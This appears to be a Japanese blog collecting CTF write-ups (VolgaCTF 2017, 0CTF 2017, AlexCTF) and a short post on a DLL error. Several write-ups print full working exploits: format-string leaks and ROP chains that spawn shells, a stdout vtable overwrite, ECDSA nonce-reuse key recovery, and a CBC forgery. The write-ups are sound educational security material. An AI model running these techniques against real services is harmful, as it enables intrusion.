読者です 読者をやめる 読者になる 読者になる

VolgaCTF 2017 Quals 供養(Writeup)

VolgaCTF 2017 Qualsに参加。1150ptで51位。

VC (crypto 50)

Visual secret sharing scheme(Visual cryptography)

$ composite -compose difference A.png B.png C.png

f:id:inaz2:20170327002041p:plain

VolgaCTF{Classic_secret_sharing_scheme}

PyCrypto (crypto/reverse 150)

20バイトのランダムバイト列を鍵にフラグを暗号化している。 暗号化を行っているpycryptography.soのアセンブリコードを読むと、単に20バイトごとに分けた各ブロックに対してXORを取っているだけであることがわかる。

.text:0000000000001190 loc_1190:                               ; CODE XREF: encrypt+9Bj
.text:0000000000001190                 mov     rax, rcx
.text:0000000000001193                 cqo
.text:0000000000001195                 idiv    rsi             ; RAX, RDX = divmod(RCX, RSI)
.text:0000000000001198                 movzx   eax, byte ptr [r8+rdx] ; r8 = key
.text:000000000000119D                 xor     al, [rdi+rcx]   ; rdi = plaintext
.text:00000000000011A0                 mov     [rbp+rcx+0], al ; rbp = ciphertext
.text:00000000000011A4                 add     rcx, 1
.text:00000000000011A8                 cmp     rbx, rcx
.text:00000000000011AB                 jnz     short loc_1190

ブロックの各文字について頻度分析を行い、最も多い文字がスペースに対応すると仮定して鍵を計算し、復号する。 すると、先頭がフラグフォーマットの VolgaCTF{ であることが推測できたので、この部分を確定させて再度復号する。 英文と思われる文字列が出てくるので、意味が通るように補完することで最終的な鍵が求まる。

from minipwn import *
from collections import Counter

with open('flag.enc', 'rb') as f:
    data = f.read()

nblocks = len(data) // 20
chunks = []
for i in xrange(nblocks):
    chunk = data[20*i:20*i+20]
    chunks.append(chunk)

s = ''
for i in xrange(20):
    chars = [chunk[i] for chunk in chunks]
    c, count = Counter(chars).most_common()[0]
    s += xor(c, ' ')

"""
hint = 'VolgaCTF{'
s2 = xor(chunks[0], hint)
s = s2 + s[len(hint):]

for i, chunk in enumerate(chunks):
    print i, "%r" % xor(chunk, s)
"""

hint = '1917, invented an ad'
s = xor(chunks[5], hint)

answer = ''
for chunk in chunks:
    answer += xor(chunk, s)

print answer
$ python test.py
VolgaCTF{N@me_is_Pad_Many_Times_P@d_Mi$$_me?}
Gilbert Vernam was an AT&T Bell Labs engineer who, in 1917, invented an additive polyalphabetic stream cipher and later co-invented an automated one-time pad cipher. Vernam proposed a teleprinter cipher in which a previously prepared key, kept on paper tape, is combined character by character with the plaintext message to produce the ciphertext. This are the fundamentals of how one-time pad works.
One-time pad is a way of encrypting messages which is done by XOR-ing each plaintext byte of message you want to encrypt with a key byte from a key stream which is long as the message itself.  If the key is truly random, is at least as long as the plaintext, is never reused in whole or in part, and is kept completely secret, then the resulting ciphertext will be impossible to decrypt or break. This makes the one-time pad information-theoretically secure which means that we can learn no information about the original message (apart from it's length) given the encrypted message. Everything seems perfect right? But why do we need all this modern ciphers then? Why do we need AES when there is a "perfect" cipher, fresh from 1917? Where's the catch?
One-time pad problems: In theory, this cipher is really secure, but in practice, there are few major drawbacks. First, the key needs to be truly random. You might think: "So what, there is a rand() C function that gives us random numbers, we can use that to generate our key stream!". In fact, the rand() C function is a pseudorandom generator which only gives seemingly random numbers, it will loop after some number of outputs and its output can be predicted which makes the function unreliable for security purposes. There are more implementations of random functions (pseudorandom generators) that are used in security but I will not go into that now, only thing to remember is that true randomness is very hard to achieve. One site that states that can generate true random numbers is RANDOM.ORG, its randomness comes from atmospheric noise. Another problem is that the key needs to be as long as the message itself, this makes it hard to use for very long messages because it takes long to generate the keys. I will show you an example of what can go wrong when you get lazy and use the same key to encrypt many messages.
Taken from: https://whitehatjourney.wordpress.com/2015/08/12/many-time-

Telemap (web/exploits 200)

Botが乗っとられてしまったことにより、無効問題になった。

Regarding Telemap task

Tonight it turned out that task bot token was compromised. As a result, bot was taken over by an unknown individual.
We have decided to shut down the bot but we will not close the task.
Some teams managed to solve the task before this had happened and got their points.
To equalise other teams, we have given you the flag (in hints) so that you can submit it and get points too.
This decision is final. We sincerely apologise for this situation.

Updated on Mar 25, 2017 7:55 AM  
VolgaCTF{jUe33I9@8#dDie#!kdEPz}

Time Is (exploits 150)

ELF 64-bit、NX有効。

$ file time_is
time_is: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=34df22604978c4e32938d8692607a5c84e84e681, stripped

$ bash checksec.sh --file time_is
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   time_is

Format string bugとスタックバッファオーバーフロー脆弱性がある。

$ ./time_is
Enter time zones separated by whitespace or q to quit
%p.%p.%p.%p|%p.%p.%p.%p|%p.%p.%p.%p|%p.%p.%p.%p|AAAABBBB
AAAABBBB0x3.0x66666667.0xa3d70a3d70a3d70b.0x2ce33e6c02ce33e7|0xe40.0x7f154d3974a0.0x3b7d2114.0x985010|0x78.0x58d5f356.0x4242424241414141.0x70252e70252e7025|: 04:34
Enter time zones separated by whitespace or q to quit
AAAABBBB%11$p
*** invalid %N$ use detected ***
Aborted (core dumped)

$ (perl -e 'print "A"x0x900 . "\n"'; cat) | ./time_is
Enter time zones separated by whitespace or q to quit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: 06:27
9
@Enter time zones separated by whitespace or q to quit
q
See you!
*** stack smashing detected ***: ./time_is terminated

Aborted (core dumped)

入力文字列に8バイトの時刻文字列が連結されることに注意しつつ、libc leak、canary leak、ROPを行いシェルを起動する。 また、リモートでleakしたlibcのオフセットが手元にあるUbuntu 16.04.2 LTSの最新版glibcと一致したため、そのまま解くことができた。

from minipwn import *

def proof_of_work(num_chars, first_24bytes):
    import hashlib
    from itertools import product

    chars = ''.join(chr(x) for x in xrange(256) if x != 0x0a)
    for x in product(chars, repeat=5):
        s = first_24bytes + ''.join(x)
        h = hashlib.sha1(s).hexdigest()
        if int(h, 16) % (1<<26) == 0x3ffffff:
            print "[+] sha1(%r) = %s" % (s, h)
            return s

# s = connect_process(['./time_is'])

s = socket.create_connection(('time-is.quals.2017.volgactf.ru', 45678))
line = recvline(s)
print line
first_24bytes = line.split("'")[1]
answer = proof_of_work(29, first_24bytes)
sendline(s, answer)

recvuntil(s, 'quit\n')

# leak got_libc_start
got_libc_start = 0x603028

buf = '%p.' * 17 + '%s.' + '%p'
buf += p64(got_libc_start)

sendline(s, buf)
data = recvline(s)
data = data.split('.')[17]
addr_libc_start = u64(data.ljust(8, '\x00'))
print "[+] addr_libc_start = %x" % addr_libc_start

"""
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep libc_start_main
0000000000020740 T __libc_start_main

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system
0000000000045390 T __libc_system
0000000000137c20 T svcerr_systemerr
0000000000045390 W system

$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 18c177 /bin/sh
"""

addr_system = addr_libc_start - 0x0000000000020740 + 0x0000000000045390
addr_binsh = addr_libc_start - 0x0000000000020740 + 0x18c177

# leak canary
buf = 'A' * 0x801

sendline(s, buf)
recvline(s)
data = recvline(s)
canary = '\x00' + data[:7]
print "[+] canary = %r" % canary

# rop
addr_pop_rdi = 0x400b34

buf = 'A' * 0x808 + canary + 'A' * 0x38
buf += p64(addr_pop_rdi) + p64(addr_binsh) + p64(addr_system)

sendline(s, buf)
recvline(s)

# quit
sendline(s, 'q')

interact(s)
$ python test.py
Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='d7e5d131c8f69d397e824960'

[+] sha1('d7e5d131c8f69d397e824960\x00\x00\xf1*\x7f') = 6a078e3e4ce7e5cb1fcbbf6bffc39b2ee3ffffff
[+] addr_libc_start = 7f7f6d687740
[+] canary = '\x00\xd3\x86\xd8yy\xef2'
See you!
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
ls
flag.txt
time_is
cat flag.txt
VolgaCTF{D0nt_u$e_printf_dont_use_C_dont_pr0gr@m}

Angry Guessing Game (reverse 200)

ELF 64-bit。

$ file guessing_game
guessing_game: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=40d776f25ac166209af1980da87343aa1cc3e445, stripped

ディスアセンブル結果をしばらく眺めていると、一文字ずつフラグを組み立てていると思しき関数が見つかった。

f:id:inaz2:20170327002921p:plain

実際これがフラグだった。

VolgaCTF{eb675eb79eb095a095c1e64709407bc6}

Curved (crypto 200)

ECDSA署名。 問題文から、"cat flag" に対応する適切な署名を作る問題であることが推測できる。

“exit” と “leave” に対する署名 (r, s) がそれぞれ与えられているが、rが共通となっている。 したがって、通常のDSA同様に秘密鍵が逆算できる。

与えられたスクリプトを流用することでも計算できると思われるが、Pari/GPを使って計算した。

\\ curve
p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
n = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
a = -3
b = 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575
E = ellinit([a, b] * Mod(1, p))

Gx = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087
Gy = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871
G = [Gx, Gy]

\\ public key
QAx = 30250504889670926190523552041919585443829720544703724701649460613907050136658064509869867235332877475236603550112886
QAy = 10038053482213417689486839474228780499939202868344229289980977269014292942786826488866304498064504119374610238834648
QA = [QAx, QAy]

\\ signature of 'exit'
e1 = 10180943929472204041376359597227574108469221349104554484573736460602805890485877117432685835780787710291076463187571088306141436105029609403872488695821097
r1 = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
s1 = 34855921360927916070986212109819500225655651650874609025244135362773790814285754503375195745383314214044123943832259
\\ signature of 'leave'
e2 = 12195398262660441438176209028967466030981898250410793562737239825421543239341285267808310332478026241214888216083918256032431837893434411748441618036707814
r2 = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
s2 = 30319268030018639511551117879575625408953110962874264740912972950968883326846458408981004916433253051594118273327537

\\ calculate private key
Ln = 384
z1 = e1 >> (512 - Ln)
z2 = e2 >> (512 - Ln)

ds = Mod(s1-s2, n)
k = (z1-z2)/ds
dA = (s1*k-z1)/r1
dA = lift(dA)
print(dA)

QA_test = ellpow(E, G, dA)
print(QA == QA_test)

\\ sign 'cat flag'
e = 2534251488141321329485028256574528297332728342399684946592676206483227962138949081371581055249315498122105667347735231458012198223021772614828139070448869
z = e >> (512 - Ln)

k = random(n)
X = lift(ellpow(E, G, k))
r = Mod(X[1], n)
s = Mod((z + r * dA)/k, n)
S = lift([r, s])
print(S)

\\ verify 'cat flag'
r = S[1]
s = S[2]
w = Mod(1, n)/s
u1 = lift(z * w)
u2 = lift(r * w)
X = elladd(E, ellpow(E, G, u1), ellpow(E, QA, u2))
print(r == lift(X[1]))

\q
$ gp -q test.gp
9079245250607033272177745139721911545885939364888227106759574289984237078900316288233842237557724127871411302115933
1
[39112003662726615820001136590670602721390567943228088268349819682351724576285259322504605718457495308034625773444623, 21643598331441852154436855591985162334211224320785802943649786307375726924666387420418777563448813104252070730826027]
1
from minipwn import *

def proof_of_work(num_chars, first_24bytes):
    import hashlib
    from itertools import product

    chars = ''.join(chr(x) for x in xrange(256) if x != 0x0a)
    for x in product(chars, repeat=5):
        s = first_24bytes + ''.join(x)
        h = hashlib.sha1(s).hexdigest()
        if int(h, 16) % (1<<26) == 0x3ffffff:
            print "[+] sha1(%r) = %s" % (s, h)
            return s

s = socket.create_connection(('curved.quals.2017.volgactf.ru', 8786))
line = recvline(s)
print line
first_24bytes = line.split("'")[1]
answer = proof_of_work(29, first_24bytes)
sendline(s, answer)

print recvuntil(s, ':\r\n')
message = '39112003662726615820001136590670602721390567943228088268349819682351724576285259322504605718457495308034625773444623 21643598331441852154436855591985162334211224320785802943649786307375726924666387420418777563448813104252070730826027 cat flag'
sendline(s, message)

interact(s)
$ python test.py
Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='270a6f5df35e8e9a48af0efc'

[+] sha1('270a6f5df35e8e9a48af0efc\x00\x0fM\x83\x97') = e60627df5b89372b16f2b4a8c50978a33fffffff
Enter your command:

VolgaCTF{N0nce_1s_me@nt_to_be_used_0n1y_Once}
Enter your command:

KeyPass (reverse 100)

パスフレーズから鍵を生成するプログラムとAES-128-CBCで暗号化されたzipがある。 前者のアセンブリコードを読むと、パスフレーズの各文字のXORを取った値をseedとしてパスフレーズを生成していることがわかる。

  4004c3:       48 8b 56 08             mov    rdx,QWORD PTR [rsi+0x8]
  ...
  4004dd:       31 d2                   xor    edx,edx
  4004df:       eb 12                   jmp    4004f3 <__libc_start_main@plt+0x73>
  4004e1:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
loc_4004e8:
  4004e8:       48 0f be 07             movsx  rax,BYTE PTR [rdi]
  4004ec:       48 83 c7 01             add    rdi,0x1
  4004f0:       48 31 c2                xor    rdx,rax
loc_4004f3:
  4004f3:       48 39 cf                cmp    rdi,rcx
  4004f6:       75 f0                   jne    4004e8 <__libc_start_main@plt+0x68>  ; backward jump

seedは実質1バイトなので、取り得るパスフレーズの数は256通りとなり総当たりができる。 ただし、ヒントにOpenSSL 1.1.0eであることが書かれており、このバージョンを用意する必要がある。

$ wget https://www.openssl.org/source/openssl-1.1.0e.tar.gz
$ tar xvf openssl-1.1.0e.tar.gz
$ cd openssl-1.1.0e
$ ./config
$ make -j3
$ make test
$ cd ..
$ LD_PRELOAD="./openssl-1.1.0e/libssl.so ./openssl-1.1.0e/libcrypto.so" ./openssl-1.1.0e/apps/openssl version
OpenSSL 1.1.0e  16 Feb 2017
from subprocess import Popen, PIPE

for i in xrange(256):
    s = chr(i)
    try:
        p = Popen(['./keypass', s], stdout=PIPE)
        key = p.stdout.read().rstrip()
        p.wait()
    except TypeError:
        continue

    p = Popen(['./openssl-1.1.0e/apps/openssl', 'enc', '-d', '-aes-128-cbc', '-k', key, '-in', 'flag.zip.enc'], env={'LD_PRELOAD': './openssl-1.1.0e/libssl.so ./openssl-1.1.0e/libcrypto.so'}, stdout=PIPE, stderr=PIPE)
    result = p.stdout.read()
    p.wait()
    if p.returncode == 0:
        print "[+] key = %r" % key
        with open('flag.zip', 'wb') as f:
            f.write(result)
        break
$ python test.py
[+] key = '\\M)R<.DDe/:;d>JZP'

$ unzip flag.zip
Archive:  flag.zip
 extracting: flag.txt

$ cat flag.txt
VolgaCTF{L0ve_a11_trust_@_few_d0_not_reinvent_the_wh33l}

Bloody Feedback (web 100)

メッセージが送れる掲示板。 メール入力欄にSQL injection脆弱性がある。

<input class="form-control input-normal" id="InputEmail" name="email" placeholder="Email" disabled="disabled" type="email">
VolgaCTF{eiU7UJhyeu@ud3*}

所感

他に解きたかった問題は以下。

  • Share Point (web 200)
  • Corp News (web 300)
  • Not so honest (exploits 350)
  • Nested (forensics 200)

131チームが解けていたShare Pointを解けなかったのが残念。

MSVCR???.dllやMSVCP???.dllが見つからないときの対処法

Windowsアプリケーションを実行する際、まれに次のようなエラーメッセージが表示されて起動できないことがある。

コンピューターに MSVCR120.dll がないため、プログラムを開始できません。この問題を解決するには、プログラムを再インストールしてください。

MSVCR120.dllの部分は、MSVCP140.dllなど微妙に異なる場合もある。 エラーメッセージに従い再インストールすればよいように思われるが、それでも解決しないことがある。

これは、配布されたアプリケーションが「Visual C++ 再頒布可能パッケージ」を同梱していないか、同梱されたバージョンが一致していないことが原因で起こる。 解決するには、Microsoftが配布している「Visual C++ 再頒布可能パッケージ」をインストールすればよい。

DLL名は「ライブラリ名+バージョン番号」に従って命名されているのだが、バージョン番号とVisual Studioの年がずれていてややこしい。

つまり、MSVCR120.dllであればVisual Studio 2013の再頒布可能パッケージ、MSVCR140.dllであればVisual Studio 2015の再頒布可能パッケージをインストールすればよい。

また、https://www.microsoft.com/以外でダウンロードできるものは、正規のDLLである保証がないため利用してはならない。

関連リンク

0CTF 2017 Quals 供養(Writeup)

0CTF 2017 Qualsに参加。237ptで119位。

Welcome (Misc 12)

IRCのチャンネルトピックにflagがある。

#0ctf2017: Welcome to 0ctf 2017! https://ctf.0ops.net  (flag{Welcome_to_0CTF_2017})

integrity (Crypto 75)

AES-128-CBCで暗号化されたデータを細工する問題。 最初の1ブロックがちょうどMD5(128 bit)になっているため、IVを変えることでMD5の値を自由にコントロールすることができる。 1ブロック余分に作って得た暗号文から最後のブロックを削り、IV経由でMD5を調整する。

from minipwn import *
import hashlib

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)

expanded = 'admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0bX'

s = socket.create_connection(('202.120.7.217', 8221))
print recvuntil(s, '[l]ogin\n')
sendline(s, 'r')
sendline(s, expanded)
print recvuntil(s, 'secret:\n')
secret_hex = recvline(s).rstrip()

secret = secret_hex.decode('hex')
iv, enc_md5, enc_msg1, enc_msg2 = secret[:16], secret[16:32], secret[32:48], secret[48:]

h1 = hashlib.md5(expanded[:-1]).digest()
h2 = hashlib.md5(pad(expanded)).digest()
h_xor = xor(h1, h2)

secret2 = xor(iv, h_xor) + enc_md5 + enc_msg1
secret2_hex = secret2.encode('hex')

print recvuntil(s, '[l]ogin\n')
sendline(s, 'l')
sendline(s, secret2_hex)

interact(s)
$ python test.py
Welcome to 0CTF encryption service!
Please [r]egister or [l]ogin

Here is your secret:

Please [r]egister or [l]ogin

Welcome admin!
flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}

Please [r]egister or [l]ogin

EasiestPrintf (Pwnable 150)

任意のアドレスの値を読み出した後、Format string attackができる。 ただし、Full RELROなためGOT overwrite不可。

$ bash checksec.sh --file EasiestPrintf
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   EasiestPrintf

bssセグメントにstdoutポインタがあるので、これが指すアドレスを読み出した後、Format string attackで+0x94の位置にあるvtableポインタを0x41414141に書き換えると、次のような状態でSEGVする。

$ gdb ./EasiestPrintf core
Reading symbols from ./EasiestPrintf...(no debugging symbols found)...done.
[New LWP 5607]
Core was generated by `./EasiestPrintf'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xf76411bb in ?? () from /lib32/libc.so.6
(gdb) x/i $pc
=> 0xf76411bb:  call   DWORD PTR [ecx+0x1c]
(gdb) i r ecx
ecx            0x41414141       1094795585
(gdb) dps $esp
ff9ea650  0xf77add60 <_IO_2_1_stdout_>
ff9ea654  0xff9ea730 ' ' <repeats 200 times>...
ff9ea658  0x142
ff9ea65c  0xb
ff9ea660  0xff9ea7d0
ff9ea664  0xf76d1253 <write+35>
ff9ea668  0x142
ff9ea66c  0xf76654c1 <_IO_file_write+97>
ff9ea670  0x1
ff9ea674  0xff9ea7d0
ff9ea678  0xf7658580 <funlockfile>
ff9ea67c  0xf77add60 <_IO_2_1_stdout_>
ff9ea680  0x0
ff9ea684  0x0
ff9ea688  0xfbad8004
ff9ea68c  0xf77add60 <_IO_2_1_stdout_>

上の結果から、第一引数に0xf77add60が与えられた状態で、[ecx+0x1c]が呼ばれることがわかる。 vtableポインタが最後に一度しか書き換えられないことに注意しつつ、適当なアドレスにsystem関数のアドレスや文字列shを書き込むことでシェルを起動できる。

from minipwn import *

#s = connect_process(['./EasiestPrintf'])
s = socket.create_connection(('202.120.7.210', 12321))

addr_stdout = 0x0804a044

print recvuntil(s, ':\n')
sendline(s, str(addr_stdout))
data = recvline(s)
libc_stdout = int(data, 16)
print "[+] libc_stdout = %x" % libc_stdout
libc_stdout_vtable = libc_stdout + 0x94
#libc_system = libc_stdout - 0x001b0d60 + 0x0003a940
libc_system = libc_stdout - 0x001a9ac0 + 0x0003e3e0

str_sh = u32('sh\x00\x00')
x1 = libc_system
x1_hi, x1_lo = x1 >> 16, x1 & 0xFFFF
x2 = libc_stdout - 4 - 0x1c
x2_hi, x2_lo = x2 >> 16, x2 & 0xFFFF

print recvuntil(s, 'Good Bye\n')

# libc_stdout = 'sh\x00\x00'
# libc_stdout-4 = &system
# libc_stdout_vtable+0x1c = &(libc_stdout-4)
buf = p32(libc_stdout) + p32(libc_stdout-4) + p32(libc_stdout-2) + p32(libc_stdout_vtable)
buf += '%' + str(str_sh-16) + 'c%7$n'
buf += '%' + str(0x10000+x1_lo-str_sh) + 'c%8$hn'
buf += '%' + str(0x10000+x1_hi-x1_lo) + 'c%9$hn'
buf += '%' + str(0x10000+x2_lo-x1_hi) + 'c%10$hn'

sendline(s, buf)

interact(s)
$ python test.py
Which address you wanna read:

[+] libc_stdout = f7737ac0
Good Bye
(snip)
id
uid=1001(EasiestPrintf) gid=1001(EasiestPrintf) groups=1001(EasiestPrintf)
ls
bin
boot
dev
etc
home
initrd.img
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
ls -R home
home:
EasiestPrintf
java

home/EasiestPrintf:
EasiestPrintf
flag

home/java:
cat /home/EasiestPrintf/flag
flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}

所感

他に解きたかった問題は以下。

  • simplesqlin (Web 33)
  • oneTimePad (Crypto 114)
  • Temmo’s Tiny Shop (Web 122)
  • char (Pwnable 130)
  • KoG (Web 146)

AlexCTF 供養(Writeup)

AlexCTFに参加。990ptで259位。

TR1: Hello there (Trivia 10)

IRCのチャンネル名にフラグがある。

IRC: #alexctf @freenode

#alexctf: Alexandria University student held capture the flag event ctf.oddcoder.com ALEXCTF{W3_w15h_y0u_g00d_luck}

TR2: SSL 0day (Trivia 20)

It lead to memory leakage between servers and clients rending large number of private keys accessible. (one word)

heartbleed

TR3: CA (Trivia 30)

What is the CA that issued Alexctf https certificate (flag is lowercase with no spaces)

letsencrypt

TR4: Doesn’t our logo look cool ? (Trivia 40)

トップページにあるアスキーアートのロゴの中にある。

$ grep -oP '[\w{}]' logo.txt | tr -d '\n'
ALEXCTF{0UR_L0G0_R0CKS}

RE1: Gifted (Reversing 50)

stringsするとフラグがある。

$ strings gifted
(snip)
Enter the flag:
AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}
You got it right dude!
Try harder!
(snip)

RE2: C++ is awesome (Reversing 100)

特定のアドレスで動作を止めてメモリに入っているデータを見ると、文字列と数字の配列がある。

$ gdb --args ./re2 AAAA
Reading symbols from ./re2...(no debugging symbols found)...done.
(gdb) b *0x400c24
Breakpoint 1 at 0x400c24
(gdb) r
Starting program: /tmp/re2 AAAA
Breakpoint 1, 0x0000000000400c24 in ?? ()
1: x/i $pc
=> 0x400c24:    lea    rax,[rbp-0x50]
(gdb) x/80i $pc
=> 0x400c24:    lea    rax,[rbp-0x50]
   0x400c28:    mov    rdi,rax
   0x400c2b:    call   0x4009f0 <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::end()@plt>
   0x400c30:    mov    QWORD PTR [rbp-0x20],rax
   0x400c34:    lea    rdx,[rbp-0x20]
   0x400c38:    lea    rax,[rbp-0x60]
   0x400c3c:    mov    rsi,rdx
   0x400c3f:    mov    rdi,rax
   0x400c42:    call   0x400d3d
   0x400c47:    test   al,al
   0x400c49:    je     0x400c95
   0x400c4b:    lea    rax,[rbp-0x60]
   0x400c4f:    mov    rdi,rax
   0x400c52:    call   0x400d9a
   0x400c57:    movzx  edx,BYTE PTR [rax]
   0x400c5a:    mov    rcx,QWORD PTR [rip+0x20143f]        # 0x6020a0
   0x400c61:    mov    eax,DWORD PTR [rbp-0x14]
   0x400c64:    cdqe
   0x400c66:    mov    eax,DWORD PTR [rax*4+0x6020c0]
   0x400c6d:    cdqe
   (snip)
(gdb) x/s {long}0x6020a0
0x400e58:       "L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t"
(gdb) x/80wx 0x6020c0
0x6020c0:       0x00000024      0x00000000      0x00000005      0x00000036
0x6020d0:       0x00000065      0x00000007      0x00000027      0x00000026
0x6020e0:       0x0000002d      0x00000001      0x00000003      0x00000000
0x6020f0:       0x0000000d      0x00000056      0x00000001      0x00000003
0x602100:       0x00000065      0x00000003      0x0000002d      0x00000016
0x602110:       0x00000002      0x00000015      0x00000003      0x00000065
0x602120:       0x00000000      0x00000029      0x00000044      0x00000044
0x602130:       0x00000001      0x00000044      0x0000002b      0x00000000
0x602140 <std::cout>:   0xf7dce988      0x00007fff      0xf7dce9b0      0x00007fff
(snip)
(gdb) q
A debugging session is active.

        Inferior 1 [process 11607] will be killed.

Quit anyway? (y or n) y

数字の配列の順で文字列から文字を取り出すとフラグが得られる。

msg = "L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t"

